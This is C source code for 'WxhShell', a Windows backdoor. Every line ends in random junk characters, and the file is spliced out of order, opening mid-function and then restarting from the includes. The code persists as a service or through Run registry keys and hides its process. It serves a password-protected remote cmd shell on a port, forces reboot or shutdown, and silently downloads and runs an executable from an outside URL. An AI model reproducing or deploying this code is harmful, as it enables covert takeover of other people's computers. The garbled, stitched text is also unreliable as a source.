    ExitThread(0); >&!RWH9*q  
    } vy,&N^P  
    break; $)H@|< K  
    } ,YhdY 6  
  // 获取shell y< C<_2  
  case 's': { cQ:"-!ff  
    CmdShell(wsh); gT/@dVV  
    closesocket(wsh); RmrL^asg  
    ExitThread(0); KsrjdJx, '  
    break; 2YuN~-  
  } %& _V0R\k  
  // 退出 |j3'eW&=  
  case 'x': { nADX0KI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !`bio cA  
    CloseIt(wsh); <)*2LBF@]  
    break; *-s,. F+c  
    } OiDhJ  
  // 离开 8>/Q1(q0  
  case 'q': { #P#-xz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n&MG7`]N  
    closesocket(wsh); e?bYjJ q  
    WSACleanup(); 76.{0 c  
    exit(1); +h_ !0dG  
    break; U:F/ iXz  
        } lnGq :-  
  } %P;Q|v6/|  
  } Quf_'  
)bx_;9Y{  
  // 提示信息 RllY-JBO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;WL1B   
} 6WoAs)ZF  
  } 7*DMVok:  
1}ZKc=Pfu  
  return; `pd&se'p  
} 0b91y3R+  
t:LcNlN|  
// shell模块句柄 VOsqJJ3  
int CmdShell(SOCKET sock) p$7#}s  
{ 9z?oB&5  
STARTUPINFO si; q %A?V _  
ZeroMemory(&si,sizeof(si)); 1{_A:<VBl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HyiF y7j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .}')f;jH5<  
PROCESS_INFORMATION ProcessInfo; !se0F.K  
char cmdline[]="cmd"; W0jZOP5_.$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7kKy\W  
  return 0; ;O  0+,  
} 4lKVY<  
vILy>QS)  
// 自身启动模式 x_|F|9  
int StartFromService(void) Mz I q"3  
{ e4OeoQ@ >  
typedef struct _ .i3,-l)  
{ >\ST-7[^L  
  DWORD ExitStatus; B5X sGLV  
  DWORD PebBaseAddress; (wmBjQ]B<  
  DWORD AffinityMask; wiX~D  
  DWORD BasePriority; 9{j66  
  ULONG UniqueProcessId; c.\O/N   
  ULONG InheritedFromUniqueProcessId; @xsCXCRWVV  
}   PROCESS_BASIC_INFORMATION; Z['\61  
M\b")Tu{0  
PROCNTQSIP NtQueryInformationProcess; PN+G:Qv  
hl&-\dc+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g/=K.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t0:AScZY   
2fIRlrA$  
  HANDLE             hProcess; (eCFWmO  
  PROCESS_BASIC_INFORMATION pbi; ECa$vvK m  
9s +z B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hgRVwX  
  if(NULL == hInst ) return 0; {J/I-=CmML  
zq5'i!s !0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z<gu00U7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TaJB4zB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t"j|nz{m  
B@Nt`ky0*  
  if (!NtQueryInformationProcess) return 0; h?\2 _s  
S~$'WA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :PbDU$x  
  if(!hProcess) return 0; Vv$HR  
PZ8U6K'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &@"]+33  
?B.~ AUN  
  CloseHandle(hProcess); nA>sHy  
2W M\e lnA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !\[+99F#  
if(hProcess==NULL) return 0; ~`Qko-a&  
M^rM-{?<  
HMODULE hMod; v}J;ZIb  
char procName[255]; i54md$Q^  
unsigned long cbNeeded; ^C&+ ~+  
z41_oG7   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4"\ yf  
=j0x.f Se  
  CloseHandle(hProcess); z1 i &Ge  
(B>Zaro#  
if(strstr(procName,"services")) return 1; // 以服务启动 0@1:M  
ZA#y)z8!E  
  return 0; // 注册表启动 cd;NpN  
} h$C@j~  
+?RGta'%k  
// 主模块 @E`?<|B}  
int StartWxhshell(LPSTR lpCmdLine) -jg (GGJ  
{ /7$mxtB5%L  
  SOCKET wsl; 47 u@4"M  
BOOL val=TRUE; E(<LvMiCa  
  int port=0; +V v+K(lh$  
  struct sockaddr_in door; z*~YLT&  
t0PQ~|H<KV  
  if(wscfg.ws_autoins) Install(); NnxM3*  
dw@E)  
port=atoi(lpCmdLine); ]8U ~Iy  
]0c Pml  
if(port<=0) port=wscfg.ws_port; IKvBf'%-  
z)F#u:t  
  WSADATA data; `NwdbKX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fUag1d  
rlok%Rt4Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }\v^+scD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5IMSNGS  
  door.sin_family = AF_INET; {g/wY%u=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dGH_ z8  
  door.sin_port = htons(port); `!\ivIi^  
0/]_nd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !>;w!^U  
closesocket(wsl); %|3e.1oX  
return 1; }IUP5O6  
} <z#BsnjW{  
Zcd7*EBdx  
  if(listen(wsl,2) == INVALID_SOCKET) { twqFs  
closesocket(wsl); zCXqBuvu1  
return 1; [ET6(_=b  
} DM7}&~  
  Wxhshell(wsl); 1JTbCS  
  WSACleanup(); 9+CFRYC  
zjbE 7^ N  
return 0; PN F4>)  
AvRcS]@=  
} Pw}_[[>$  
z<C[nR$N  
// 以NT服务方式启动 ]H2R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =xEk7'W6k  
{ cV$lobqO  
DWORD   status = 0; L@|#Bbmx  
  DWORD   specificError = 0xfffffff; y{rn-?`{  
C@dGWAG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F%6*Df;cSe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #0MK(Ut/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;R1B9-,  
  serviceStatus.dwWin32ExitCode     = 0; l[n@/%2  
  serviceStatus.dwServiceSpecificExitCode = 0; ^JhFI*  
  serviceStatus.dwCheckPoint       = 0; e&J3N  
  serviceStatus.dwWaitHint       = 0; 9$tl00  
N2~$r pU3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cIw eBDl  
  if (hServiceStatusHandle==0) return; ;bHfn-X  
oXc/#{NC  
status = GetLastError(); j8 H Oc(  
  if (status!=NO_ERROR) [%.18FWI  
{ G j6. Iv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2:J,2=%  
    serviceStatus.dwCheckPoint       = 0; KVijs1q  
    serviceStatus.dwWaitHint       = 0; hYvNcOSks  
    serviceStatus.dwWin32ExitCode     = status; BF|*"#s  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4: sl(r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); { vfq  
    return; (L#%!bd  
  } 1k>naf~O  
gg8c7d:Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GJak.,0t  
  serviceStatus.dwCheckPoint       = 0; .)ST[G]WK  
  serviceStatus.dwWaitHint       = 0; O<`R~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &telCg:  
} _om[VKJd  
KSOO?X0j  
// 处理NT服务事件,比如:启动、停止 W(k:Pl#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k/#M<z  
{ k}B DA|\s  
switch(fdwControl) ]bfqcmh<  
{ N$'>XtO  
case SERVICE_CONTROL_STOP: b[g.}'^yht  
  serviceStatus.dwWin32ExitCode = 0; $9i9s4u^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PRp E$`WK  
  serviceStatus.dwCheckPoint   = 0; p37|zX  
  serviceStatus.dwWaitHint     = 0; ^gm>!-Gx  
  { A7'bNd6f9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5^F]tRz-  
  } fOW_h  
  return; ??I:H  
case SERVICE_CONTROL_PAUSE: jaqV[*440U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ygx,t|?7  
  break; " Z;uu)NE  
case SERVICE_CONTROL_CONTINUE: 0ny{)Sd6um  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VCf|`V~G  
  break; 0#`)Prop6  
case SERVICE_CONTROL_INTERROGATE: ?>)yKa#U  
  break; /| f[us-w  
}; uo 4xnzc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "UpOY  
} ,eK2I Ao  
q2Rf@nt  
// 标准应用程序主函数 $`Rxn*}V4#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U3VT*nj'  
{ S>EDL  
E!dp~RwZu  
// 获取操作系统版本 /hfUPO5  
OsIsNt=GetOsVer(); wi BuEaUkW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fM9xy \.  
/#IH -2N  
  // 从命令行安装 1)Eq&ASB  
  if(strpbrk(lpCmdLine,"iI")) Install(); {_Np<r;j<  
|` v^d|  
  // 下载执行文件 0x4l5x$8  
if(wscfg.ws_downexe) { ~ a >S#S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dgY5ccP  
  WinExec(wscfg.ws_filenam,SW_HIDE); ecT]p  
} s[Gswd  
<)J55++  
if(!OsIsNt) { Re\o v x9  
// 如果时win9x,隐藏进程并且设置为注册表启动 }6@%((9E 2  
HideProc();  h.D^1  
StartWxhshell(lpCmdLine); ax]9QrA  
} C,3T!\  
else CwB] )QV?  
  if(StartFromService()) 43F^J%G  
  // 以服务方式启动 (l2<+R%1  
  StartServiceCtrlDispatcher(DispatchTable); gQ,4xTX  
else No~ 6s.H  
  // 普通方式启动 =ty2_6&>  
  StartWxhshell(lpCmdLine); K]MzP|T,  
Uk|9@Auav  
return 0; hvL6zCi  
} `{WCrw6)  
1V\1]J/  
YOlH*cZtg  
klo^K9!  
=========================================== iI}nW  
@M9_j{A  
XC2Q*Z  
vS2(Q0+TZi  
rSbQ}O4V  
>["Kd.ye  
" "|\94  
3} l;  
#include <stdio.h> z(r" JNO@  
#include <string.h> ]svw CPu C  
#include <windows.h> zM)M_L  
#include <winsock2.h> I>!|3ElT  
#include <winsvc.h> .$OjUlzr-H  
#include <urlmon.h> 5 5a@)>h  
-/1d&  
#pragma comment (lib, "Ws2_32.lib") l2r>|CGQ[  
#pragma comment (lib, "urlmon.lib") vevx|<9,  
?SB5b,  
#define MAX_USER   100 // 最大客户端连接数 np= J:v4  
#define BUF_SOCK   200 // sock buffer %"{?[!C ?  
#define KEY_BUFF   255 // 输入 buffer VJGwd`qo*A  
mxZ4 HD{  
#define REBOOT     0   // 重启 J ( =4  
#define SHUTDOWN   1   // 关机 Us*Vn  
n/Or~@pHD  
#define DEF_PORT   5000 // 监听端口 S [ i$e  
\:C%> .VG  
#define REG_LEN     16   // 注册表键长度 rC~_:uXtE  
#define SVC_LEN     80   // NT服务名长度 ,Qga|n8C  
+I?Qg  
// 从dll定义API E:%>0FE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t<8z08  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *pY/5? g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =:kiSrBS3t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *:k~g].Iz  
zCyR<as7  
// wxhshell配置信息 vxF:vI# @  
struct WSCFG { kK08W3@&t  
  int ws_port;         // 监听端口 T$f:[ye]Z  
  char ws_passstr[REG_LEN]; // 口令 zv&ePq\#  
  int ws_autoins;       // 安装标记, 1=yes 0=no hLCsQYNDU  
  char ws_regname[REG_LEN]; // 注册表键名 O#A8t<f|M  
  char ws_svcname[REG_LEN]; // 服务名 0,+EV,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g521Wdtnn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1fmSk$ y.9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T %$2k>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z+OAs0}mV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T<! \B]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3{6ps : w  
o$*bm6o  
}; Q=dw 6  
oA5<[&~<  
// default Wxhshell configuration OA\vT${5  
struct WSCFG wscfg={DEF_PORT, %-T}s`Z  
    "xuhuanlingzhe", lK_ ~d_f  
    1, &9S8al 8"  
    "Wxhshell", *1%e%G  
    "Wxhshell", @#'yPV1  
            "WxhShell Service", z&\Il#'\m+  
    "Wrsky Windows CmdShell Service", B!$V\Gs  
    "Please Input Your Password: ", cu) @P0I  
  1, [%HYh7ua<  
  "http://www.wrsky.com/wxhshell.exe", .dy#n`eP  
  "Wxhshell.exe" (K!M*d+  
    }; v#{G8'+%  
)*"T  
// 消息定义模块 +d|:s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3Pw %[q=g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oUnq"]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -Y5YCY!`  
char *msg_ws_ext="\n\rExit."; d<e+__ 2  
char *msg_ws_end="\n\rQuit."; u Zo]8mV  
char *msg_ws_boot="\n\rReboot..."; U&tfl/  
char *msg_ws_poff="\n\rShutdown..."; yd\5Z[iEp  
char *msg_ws_down="\n\rSave to "; Krt$=:m|1  
f>.` xC{  
char *msg_ws_err="\n\rErr!"; DKe6?PG  
char *msg_ws_ok="\n\rOK!"; aUsul'e;M  
7O;BS}Lv=  
char ExeFile[MAX_PATH]; 3'|Uqf8  
int nUser = 0; ]?v?Qfh2  
HANDLE handles[MAX_USER]; k^L#,:\&V  
int OsIsNt; Lg\8NtP   
gPF}aaB6  
SERVICE_STATUS       serviceStatus; .aVHd<M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Uqb]e?@  
u&hDjE  
// 函数声明 9Ba%=  
int Install(void); F(?Fz8  
int Uninstall(void); ?GaI6?lbn  
int DownloadFile(char *sURL, SOCKET wsh); }[XB]Xf  
int Boot(int flag); 5P5A,K  
void HideProc(void); &"@HWF  
int GetOsVer(void); (**-"o]HH  
int Wxhshell(SOCKET wsl); ::^qy^n  
void TalkWithClient(void *cs); <DA{\'jJ  
int CmdShell(SOCKET sock); w !=_  
int StartFromService(void); [u!p-  
int StartWxhshell(LPSTR lpCmdLine); 0R2S@4%Y  
bn^mL~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -N /8Ho  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }.fZy&_  
"t3uW6&  
// 数据结构和表定义 tal>b]B;  
SERVICE_TABLE_ENTRY DispatchTable[] = $9LGdKZ_D  
{ B;Q`vKY  
{wscfg.ws_svcname, NTServiceMain}, yoq\9* ?u^  
{NULL, NULL} YD0vfwh  
}; yBXkN&1=%;  
=|j*VF2y"  
// 自我安装 r_!{!i3B  
int Install(void) 1 Ovx$ *  
{ E-BOIy,  
  char svExeFile[MAX_PATH]; 0XBBA0t q  
  HKEY key; E.zYi7YUKK  
  strcpy(svExeFile,ExeFile); XZUB*P}]D  
/h}wM6pg  
// 如果是win9x系统,修改注册表设为自启动 ;L\!g%a  
if(!OsIsNt) { {Oc?C:aI=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t(uB66(_F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S20 nk.x  
  RegCloseKey(key); '/gxjr&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YG}p$\R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &UJ Ty'  
  RegCloseKey(key); &k%wOz1vM  
  return 0; 2ZTyo7P  
    } #Of<1  
  } Q+y-*1   
} x`j$9XN5  
else { V)WIfRs  
b7>-aem@I  
// 如果是NT以上系统,安装为系统服务  HzgQI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?vL^:f["  
if (schSCManager!=0) \pBYWf  
{ @@&@}IQcR1  
  SC_HANDLE schService = CreateService j:de}!wc  
  ( &\WkJ}&PnA  
  schSCManager, ]XpU'/h>q;  
  wscfg.ws_svcname, }R(0[0NQe-  
  wscfg.ws_svcdisp, ~]6Oz;~<3  
  SERVICE_ALL_ACCESS, 0IT20.~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fmZzBZ_  
  SERVICE_AUTO_START, |2+F I<v4  
  SERVICE_ERROR_NORMAL, {=pP`HD0  
  svExeFile, z</XnN  
  NULL, N~Sue  
  NULL, ~,`\D7Z3  
  NULL, mTb2d?NS  
  NULL, w'5dk3$"  
  NULL CwH)6uA  
  ); O)=73e\  
  if (schService!=0) fd,}YAiX  
  { 6f5sIg  
  CloseServiceHandle(schService); =5s~$C  
  CloseServiceHandle(schSCManager); D/!eov4"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Js^r]=\F'  
  strcat(svExeFile,wscfg.ws_svcname); @Z=y'yc'y.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -6 7f33  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {_k!!p6  
  RegCloseKey(key); 1VPN#Q!  
  return 0; Tg{dIh.Q~O  
    } n )wpxR  
  } i+T0}M<  
  CloseServiceHandle(schSCManager); kHo;9j-U  
} o}AqNw60v  
} ~; O= 7  
]>S$R&a  
return 1; _+ R_ms  
} ek0;8Ds9  
x/jN& ;"/  
// 自我卸载 AIRVvW~($  
int Uninstall(void) zvQ^f@lq2  
{ +2k|g2  
  HKEY key; D.oS8'   
R(7X}*@X  
if(!OsIsNt) { |]2eGrGj4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Oig/KZ  
  RegDeleteValue(key,wscfg.ws_regname); Yf2+@E  
  RegCloseKey(key); 7K5o" "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =-1^K  
  RegDeleteValue(key,wscfg.ws_regname); 5sV/N] !  
  RegCloseKey(key); (>Q9jNW  
  return 0; 6Kv}2M')+  
  } ?`[ uh%  
} o`y*yucHI  
} >FMT#x t  
else { TF}4X;3Dsy  
\ /X!tlwxh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WHD/s  
if (schSCManager!=0) NId~| &\  
{ mGyIr kE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oE|{|27X  
  if (schService!=0) `$x#_-Hn  
  { o._#=7|(  
  if(DeleteService(schService)!=0) { 7+Jma!o  
  CloseServiceHandle(schService); 2M( PH]D  
  CloseServiceHandle(schSCManager); BoiIr[ (  
  return 0; h+'eFAZ  
  } $xn%i\  
  CloseServiceHandle(schService); L!}j3(I  
  } {i7Fu+xZj  
  CloseServiceHandle(schSCManager); !A^w6Q;`V  
} <0,ah4C  
} 'y@ 2,9v  
m*Lv,yw %a  
return 1; `))J8j"  
} f6_|dvY3  
cwD*>[j  
// 从指定url下载文件 t%YX-@  
int DownloadFile(char *sURL, SOCKET wsh) /Geks/  
{ Qmc;s{-r;  
  HRESULT hr; .Mft+,"  
char seps[]= "/"; `\u),$  
char *token; [{!j9E?(  
char *file; $E@.G1T [  
char myURL[MAX_PATH]; - 9<yB  
char myFILE[MAX_PATH]; i\R\bv[9  
$q@RHcj  
strcpy(myURL,sURL); ) eGu4iEPM  
  token=strtok(myURL,seps); 02 c.;ka3  
  while(token!=NULL) [Jh))DIx  
  { >fzzrD}]  
    file=token; kFZu/HRI  
  token=strtok(NULL,seps); >zx50e)  
  } u.K'"-xt4K  
'FA)LuAok  
GetCurrentDirectory(MAX_PATH,myFILE); TboHP/  
strcat(myFILE, "\\"); L!Zxc~  
strcat(myFILE, file); t:j07 ,1~  
  send(wsh,myFILE,strlen(myFILE),0); 6%hEs6-R  
send(wsh,"...",3,0); [,?A$Z*Z|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f+88R=-u6S  
  if(hr==S_OK) .$s|T  
return 0; nF y7gA|  
else xbH!:R;  
return 1; $8ww]}K  
A5H8+gATK  
} VS@W.0/  
c68$pgG  
// 系统电源模块 RknSWuFKt  
int Boot(int flag) Gqz)='  
{ J<:D~@qq  
  HANDLE hToken; :bF2b..XOu  
  TOKEN_PRIVILEGES tkp; %|6Q7'@p  
7z0 uj  
  if(OsIsNt) { WMRgf~TY=2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~Wd8>a{w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hD.wKX?oO  
    tkp.PrivilegeCount = 1; ?j$8Uy$$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q_h+r! b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ( =/L#Yg_  
if(flag==REBOOT) { ScmzbDu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D'hr\C^  
  return 0; z8[|LF-dx  
} h] TVi$J  
else { P##(V!YR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u2m{Yx|  
  return 0; Gg,k  
} T`0gtSS  
  } {.8)gVBmA  
  else { -OGy-"  
if(flag==REBOOT) { #UnO~IE.m$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zSufU2  
  return 0; +A3\Hj&W  
} [B;Ek \5W  
else { M#<fh:>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZaV66Y>  
  return 0; !_z>w6uR  
} FJH8O7  
} )s[S.`S Tz  
*1]k&#s  
return 1; _[Wrd?Z  
} 6D]G*gwk[  
/faP]J)  
// win9x进程隐藏模块 :v ~q  
void HideProc(void) ~l(tl[  
{ +GtGyp  
^7<mlr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &y wY?ox  
  if ( hKernel != NULL ) e~[z]GLO%  
  { d33Nx)No  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7027@M?A?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `5jB|r/  
    FreeLibrary(hKernel); ~g|0uO}.  
  } B{7/A[$%C  
5Jd {Ev  
return; hf5SpwxLiH  
} }n8;A;axi  
4gt "dfy+  
// 获取操作系统版本 ON! G{=7  
int GetOsVer(void) :u+#:8u  
{ xJ5!` #=  
  OSVERSIONINFO winfo; B>2 1A9&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5!fW&OiY  
  GetVersionEx(&winfo); vy y\^nL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N>\?Aeh  
  return 1; {/!"}{G1e  
  else w:(7fu=  
  return 0; ExU|EN-  
} 8ngf(#_{_n  
vK~KeZ\,p=  
// 客户端句柄模块 4?uG> ;V  
int Wxhshell(SOCKET wsl) UwT$IKR  
{ [`dipLkr  
  SOCKET wsh; _qNLy/AY  
  struct sockaddr_in client; '0rwNEg  
  DWORD myID; -{mq\GvGn  
nit7|T@^  
  while(nUser<MAX_USER) *dgN pJ 9  
{ |.W;vc<  
  int nSize=sizeof(client); l[{}ZKZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bncFrzp#o  
  if(wsh==INVALID_SOCKET) return 1; ="E V@H?U  
(ZsR=:9(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1<e%)? G  
if(handles[nUser]==0) > PA,72e   
  closesocket(wsh); 6VE5C g  
else h(up1(x  
  nUser++; >?FCv7qN  
  } 8 z7,W3b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P#oV ^  
{Oszq(A  
  return 0; >:|q J$J.  
} rJj~cPwL"  
z5w|+9U  
// 关闭 socket .q}k  
void CloseIt(SOCKET wsh) >xgd<  
{ zt}p-U2I  
closesocket(wsh); ,KaWP  
nUser--; EOC"a}Cq-  
ExitThread(0); fdW={}~  
} bd}SB-D  
?QVI'R:Z?  
// 客户端请求句柄 -2d&Aq4m)  
void TalkWithClient(void *cs) ;Nij*-U4~  
{ VHNiTp  
}Cf[nGh|B  
  SOCKET wsh=(SOCKET)cs; M lwQ_5O  
  char pwd[SVC_LEN]; h]9^bX__Z  
  char cmd[KEY_BUFF]; &|] ^ u/  
char chr[1]; W{aNS@1  
int i,j; c>.Xc[H  
Lcm!e  
  while (nUser < MAX_USER) { BT0hx!Ti  
Gjr2]t;E  
if(wscfg.ws_passstr) { 2 wvDC@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eQj/)@B:V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F tjm@:X  
  //ZeroMemory(pwd,KEY_BUFF); j]SkBZgik  
      i=0; ?yK\L-ad  
  while(i<SVC_LEN) { ]aL}&GlHt  
$vz%   
  // 设置超时 ^Yz05\  
  fd_set FdRead; )FPbE^s(  
  struct timeval TimeOut; m,O !M t  
  FD_ZERO(&FdRead); s ~G{-)*  
  FD_SET(wsh,&FdRead); OK(d&   
  TimeOut.tv_sec=8; 4y.[tk5  
  TimeOut.tv_usec=0; ry"zec B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (7,Awf5D~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wYG0*!Vj  
\>k+Oyj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7 i/Cax  
  pwd=chr[0]; c @R6p+  
  if(chr[0]==0xd || chr[0]==0xa) { Z]d]RL&r  
  pwd=0; '"^JNb^I  
  break; nrBitu,  
  } <X*8Xzmv  
  i++; -}o;Y)  
    } _#B/# ^a  
eH{ 9w8~  
  // 如果是非法用户,关闭 socket 6Tnzg`0I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]9Hy "#Fz  
} Ea?.H Rxl  
Ags`%(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <& iBR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (z7#KJ1+Aw  
cK&oC$[r-  
while(1) { 0 HmRl  
566Qik w2  
  ZeroMemory(cmd,KEY_BUFF); lfP|+=^B  
HxaUVg0  
      // 自动支持客户端 telnet标准   z^.0eP8\j  
  j=0; y rk#)@/m  
  while(j<KEY_BUFF) { flqTx)xE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5@ug1F&   
  cmd[j]=chr[0]; Q #gHD  
  if(chr[0]==0xa || chr[0]==0xd) { X$f%Ss  
  cmd[j]=0; .EO1{2=  
  break; L8ke*O$  
  } PQ>JoRs  
  j++; T^_9R;  
    } D2bUSRrb  
.&y1gh!=  
  // 下载文件 X[<9+Q-&  
  if(strstr(cmd,"http://")) { at!?"u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); & j43DYw4  
  if(DownloadFile(cmd,wsh)) CCV~nf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rd)QVEk>SD  
  else }T,uw8?f!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CggEAi~  
  } tANG ]  
  else { @d\F; o<  
"|if<hx+  
    switch(cmd[0]) { 3nO|A: t  
  n>WS@b/o  
  // 帮助 XJ;/ kR  
  case '?': { 00i9yC8@6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N2>JG]G  
    break; P*>V6SK>b  
  } ioggD  
  // 安装 !_@%/I6  
